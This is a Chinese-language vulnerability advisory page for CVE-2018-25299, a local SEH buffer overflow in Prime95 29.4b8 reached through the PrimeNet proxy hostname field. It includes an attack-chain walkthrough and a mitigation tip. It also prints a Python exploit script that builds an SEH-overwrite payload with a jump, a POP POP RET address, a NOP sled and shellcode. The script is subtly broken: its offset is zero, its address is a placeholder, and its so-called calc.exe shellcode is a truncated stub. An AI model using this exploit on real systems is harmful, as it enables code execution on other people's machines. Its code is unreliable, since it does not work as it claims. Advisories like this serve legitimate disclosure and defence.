IPBUF安全漏洞报告
English
CVE-2018-25299 CVSS 8.4 高危

CVE-2018-25299 Prime95本地缓冲区溢出漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2018-25299
漏洞类型
缓冲区溢出
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Prime95

相关标签

缓冲区溢出代码执行Prime95SEH本地漏洞

漏洞概述

Prime95 29.4b8版本存在严重的本地缓冲区溢出漏洞。该漏洞源于程序在处理PrimeNet连接设置中的代理主机名字段时缺乏足够的边界检查。攻击者可利用此漏洞注入特制的恶意payload,覆盖结构化异常处理(SEH)机制。成功利用该漏洞可允许攻击者在本地系统上执行任意代码,完全控制受影响系统,对数据的机密性、完整性和可用性构成严重威胁。

技术细节

该漏洞发生在Prime95处理用户配置的PrimeNet代理服务器设置环节。具体而言,当程序读取“可选代理主机名”输入字段时,由于未验证输入长度,引发了基于栈的缓冲区溢出。攻击者通过向该字段输入超长字符串,可以覆盖栈上的返回地址或SEH(结构化异常处理)记录。利用过程中,攻击者通常会在缓冲区中填充特定的垃圾数据以到达SEH记录位置,随后覆盖SEH处理程序指针指向一条“POP POP RET”指令(位于系统DLL中),从而将执行流重定向到攻击者放置在缓冲区中的Shellcode。由于无需用户交互和认证,一旦攻击者能够操作配置文件或界面,即可触发异常处理流程并执行任意系统命令。

攻击链分析

STEP 1
初始访问
攻击者获取目标系统的本地访问权限,能够运行Prime95程序或修改其配置文件。
STEP 2
漏洞利用
攻击者打开Prime95的PrimeNet连接设置,在“可选代理主机名”字段中输入包含恶意Shellcode和SEH覆盖字符的超长字符串。
STEP 3
触发溢出
保存配置或尝试连接时,程序处理该字段导致栈缓冲区溢出,覆盖了结构化异常处理(SEH)记录。
STEP 4
代码执行
程序触发异常,系统调用被攻击者篡改的SEH处理程序,执行流程跳转至Shellcode,从而执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2018-25299 Prime95 Buffer Overflow # This script generates a malicious payload to trigger the SEH overflow via the Proxy Hostname field. import struct # Offset to overwrite SEH handler (Example offset, requires debugging) offset = 0 seh_handler = b"\xeb\x06\x90\x90" # Short jump + NOPs seh_address = struct.pack("<L", 0x10010423) # Address of POP POP RET (Example address) nop_sled = b"\x90" * 32 # Shellcode (calc.exe example) shellcode = b"\xd9\xc3\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" payload = b"A" * offset + seh_handler + seh_address + nop_sled + shellcode print("[+] Generating malicious payload for Proxy Hostname field...") print("[+] Payload Length:", len(payload)) print("[+] Payload:", payload.decode('latin-1'))

影响范围

Prime95 29.4b8

防御指南

临时缓解措施
在未升级补丁前,建议用户不要在Prime95的设置中配置代理主机名,或者严格限制对该软件的访问权限。同时,应部署终端安全防护软件,监控异常的进程行为和内存修改操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表